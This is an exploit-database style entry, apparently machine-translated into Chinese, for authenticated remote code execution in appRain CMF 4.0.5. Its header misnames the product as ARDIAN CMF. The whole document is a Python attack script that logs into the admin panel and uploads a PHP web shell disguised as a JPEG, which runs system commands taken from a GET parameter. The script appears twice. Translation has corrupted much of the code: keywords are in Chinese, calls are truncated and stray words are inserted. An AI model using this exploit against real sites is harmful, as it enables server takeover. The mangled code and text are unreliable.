#利用标题: ARDIAN CMF 4.0.5-远程代码执行(RCE)(身份验证)
#日期: 04/28/2024
#利用作者: ahmetümitBayram
#供应商homepage3360 https://www.apprain.org
#软件link:
#版本:最新
#在: MacOS上测试
导入请求
导入系统
进口时间
导入随机
导入字符串
Def Generate_filename():
'''为文件名生成5个字符的随机字符串。 '''
返回''.join(random.choices(string.ascii_lowercase,k=5)) +'.inc'
DEF登录(站点,用户名,密码):
打印('登录.')
时间。
login_url=f'https://{site}/admin/system'
session=requests.session()
login_data={
'data [admin] [admin_id]':用户名,
'数据[admin] [admin_password]':密码
}
标题={
'content-type':'应用程序/x-www-form-urlenCoded'
}
响应=session.post(login_url,data=login_data,标头=标题)
如果``登录''中的响应.text:
打印('登录成功!')
返回会话
其他:
打印(“登录失败!”)
sys.exit()
def upload_shell(会话,网站):
打印('shell准备.')
时间。
fileName=generate_filename()
upload_url=f'https://{site}/admin/filemanager/upload'
文件={
'data [filemanager] [image]':(fileName,'htmlbody form方法='get'
name='?php echo basename($ _ server ['php_self']);'输入类型='text'
name='cmd'autocus id='cmd'size='80'Input type='submit'
value='execute'/formpre?php if(isset($ _ get ['cmd'])){
系统($ _ get ['cmd']); }?/pre/hod/html','image/jpeg')
}
数据={
'提交:'上传'
}
响应=session.post(upload_url,files=files,data=data)
如果wif wiss.status_code==200,并且在响应中“成功上传”。Text:
打印(f'your shell准备就绪: https://{site}/uploads/filemanager/{filename}')
其他:
打印(“利用失败!”)
sys.exit()
如果name=='__ -Main __':
打印(“利用.”)
时间。
如果Len(sys.argv)!=4:
打印('USAGE: PYTHON EXPLOIT.PY SITENAME.com用户名密码')
sys.exit()
site=sys.argv [1]
用户名=sys.argv [2]
密码=sys.argv [3]
会话=登录(站点,用户名,密码)
upload_shell(会话,网站)
#日期: 04/28/2024
#利用作者: ahmetümitBayram
#供应商homepage3360 https://www.apprain.org
#软件link:
正在加载...
github.com
#在: MacOS上测试
导入请求
导入系统
进口时间
导入随机
导入字符串
Def Generate_filename():
'''为文件名生成5个字符的随机字符串。 '''
返回''.join(random.choices(string.ascii_lowercase,k=5)) +'.inc'
DEF登录(站点,用户名,密码):
打印('登录.')
时间。
login_url=f'https://{site}/admin/system'
session=requests.session()
login_data={
'data [admin] [admin_id]':用户名,
'数据[admin] [admin_password]':密码
}
标题={
'content-type':'应用程序/x-www-form-urlenCoded'
}
响应=session.post(login_url,data=login_data,标头=标题)
如果``登录''中的响应.text:
打印('登录成功!')
返回会话
其他:
打印(“登录失败!”)
sys.exit()
def upload_shell(会话,网站):
打印('shell准备.')
时间。
fileName=generate_filename()
upload_url=f'https://{site}/admin/filemanager/upload'
文件={
'data [filemanager] [image]':(fileName,'htmlbody form方法='get'
name='?php echo basename($ _ server ['php_self']);'输入类型='text'
name='cmd'autocus id='cmd'size='80'Input type='submit'
value='execute'/formpre?php if(isset($ _ get ['cmd'])){
系统($ _ get ['cmd']); }?/pre/hod/html','image/jpeg')
}
数据={
'提交:'上传'
}
响应=session.post(upload_url,files=files,data=data)
如果wif wiss.status_code==200,并且在响应中“成功上传”。Text:
打印(f'your shell准备就绪: https://{site}/uploads/filemanager/{filename}')
其他:
打印(“利用失败!”)
sys.exit()
如果name=='__ -Main __':
打印(“利用.”)
时间。
如果Len(sys.argv)!=4:
打印('USAGE: PYTHON EXPLOIT.PY SITENAME.com用户名密码')
sys.exit()
site=sys.argv [1]
用户名=sys.argv [2]
密码=sys.argv [3]
会话=登录(站点,用户名,密码)
upload_shell(会话,网站)